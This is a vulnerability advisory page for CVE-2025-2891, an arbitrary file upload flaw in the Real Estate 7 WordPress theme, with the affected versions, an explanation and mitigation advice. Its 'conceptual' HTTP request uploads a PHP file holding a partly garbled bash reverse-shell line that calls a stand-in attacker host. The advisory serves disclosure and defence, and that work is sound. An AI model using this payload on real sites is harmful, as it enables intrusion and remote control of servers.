Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures system has identified a critical vulnerability, tagged as CVE-2025-2891, in the Real Estate 7 WordPress theme for WordPress. This vulnerability affects all versions up to, and including, 3.5.4, and it poses a significant threat to any business or individual using this theme on their WordPress website.
\nThe vulnerability exploits a lapse in file type validation, allowing authenticated hackers to upload arbitrary files<\/a> to the server of the affected site. This could lead to a system<\/a> compromise or data leakage if not addressed promptly. The vulnerability is particularly concerning if the site has enabled front-end listing submission, as it provides an open avenue for cybercriminals to execute remote code<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-2891
\nSeverity: High (8.8 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Seller-level access
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Real Estate 7 WordPress<\/a> Theme | Up to and including 3.5.4<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by taking advantage of the lack of file type validation in the ‘template-submit-listing.php’ file of the Real Estate<\/a> 7 WordPress theme. If the site has enabled front-end listing submission, an authenticated attacker with Seller-level access can upload arbitrary files<\/a> on the server. Because there is no file type restriction, the attacker can upload executable files or scripts, leading to potential remote code execution<\/a>. This could subsequently result in unauthorized access<\/a>, data leakage, or even system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a hypothetical example, illustrating how an attacker might exploit this vulnerability<\/a>. In this case, the attacker is submitting a malicious PHP script via an HTTP POST request<\/a>.<\/p>\n

POST \/wp-content\/themes\/realestate_7\/template-submit-listing.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"evil.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker_ip\/8080 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
The above conceptual example code demonstrates the uploading of a malicious PHP file<\/a> that, when executed, would establish a reverse shell connection to the attacker’s machine.<\/p>\n
Mitigation<\/strong><\/p>\n
To mitigate this vulnerability<\/a>, users are advised to apply the vendor patch as soon as it is available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution. Both tools can help detect and block malicious file uploads<\/a>. It’s also recommended to disable front-end listing submission if it’s not necessary for your website operations.<\/p>\n","protected":false},"excerpt":{"rendered":"
